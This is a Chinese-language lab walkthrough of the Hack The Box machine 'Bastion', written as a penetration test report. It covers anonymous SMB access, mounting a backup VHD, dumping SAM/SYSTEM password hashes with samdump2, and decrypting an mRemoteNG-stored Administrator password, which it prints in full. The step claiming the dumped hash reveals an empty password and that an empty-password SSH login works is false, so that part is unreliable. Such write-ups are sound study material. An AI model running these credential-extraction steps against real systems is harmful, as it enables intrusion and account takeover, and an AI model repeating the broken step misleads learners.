Hack the box靶机实战:Bastion
字数 1235 2025-08-18 11:39:00
Hack the Box靶机实战:Bastion渗透测试报告
目标概述
- 目标IP:10.10.10.134 (Windows系统)
- 攻击机IP:10.10.16.65 (Kali Linux)
- 难度评估:中等难度Windows靶机
初始信息收集
端口扫描
使用Nmap进行快速端口扫描:
nmap -sT -p- --min-rate 10000 -oN ports 10.10.10.134
开放端口:
- 22/tcp - SSH (OpenSSH for Windows 7.9)
- 135/tcp - MSRPC
- 139/tcp - NetBIOS-SSN
- 445/tcp - Microsoft-DS (SMB)
- 49664-49670/tcp - 多个未知服务
服务版本探测
nmap -A -oN services 10.10.10.134
关键发现:
- 操作系统:Windows Server 2016 Standard 14393
- 计算机名:Bastion
- 工作组:WORKGROUP
- SMB安全模式:消息签名启用但不强制
SMB服务利用
枚举共享目录
smbclient -L 10.10.10.134
可访问共享:
- Backups (可匿名访问)
挂载共享目录
mount -t cifs //10.10.10.134/Backups -o user=guest,password= /mnt/backups
发现文件:
- note.txt内容:
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow. - VHD虚拟硬盘文件:
- 小文件:37MB
- 大文件:5.1GB (WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd)
挂载VHD文件
guestmount --add /mnt/backups/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd
关键发现:
- SAM文件路径:/mnt/vhd/Windows/System32/config/SAM
- SYSTEM文件路径:/mnt/vhd/Windows/System32/config/SYSTEM
提取密码哈希
使用samdump2提取哈希:
samdump2 /mnt/vhd/Windows/System32/config/SYSTEM /mnt/vhd/Windows/System32/config/SAM
获取的哈希:
L4mpje:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
破解哈希
使用在线工具(如HashKiller)破解NTLM哈希:
- 破解结果:密码为空(31d6cfe0d16ae931b73c59d7e0c089c0对应空密码)
初始访问
SSH登录
ssh L4mpje@10.10.10.134
使用空密码成功登录
权限提升
发现mRemoteNG配置
路径:
C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml
关键内容:
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPrinters="false" InheritRedirectPorts="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
解密mRemoteNG密码
使用mremoteng-decrypt工具:
java -jar decipher_mremoteng.jar "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
解密结果:
- Administrator密码:
thXLHM96BeKL0ER2
最终权限获取
使用获取的Administrator凭据:
- 通过RDP或Runas等方式获取系统完全控制权限
总结
攻击路径
- 通过SMB匿名访问发现备份VHD文件
- 挂载VHD并提取SAM哈希
- 破解L4mpje用户空密码
- 在用户目录发现mRemoteNG配置文件
- 解密获得Administrator密码
- 使用高权限凭据获取系统完全控制
关键知识点
- SMB匿名访问枚举
- VHD文件挂载与分析
- Windows SAM哈希提取与破解
- mRemoteNG密码解密技术
- Windows权限提升方法
防御建议
- 禁用SMB匿名访问
- 加强备份文件访问控制
- 避免存储明文或弱加密密码
- 定期审计配置文件中的敏感信息
- 实施最小权限原则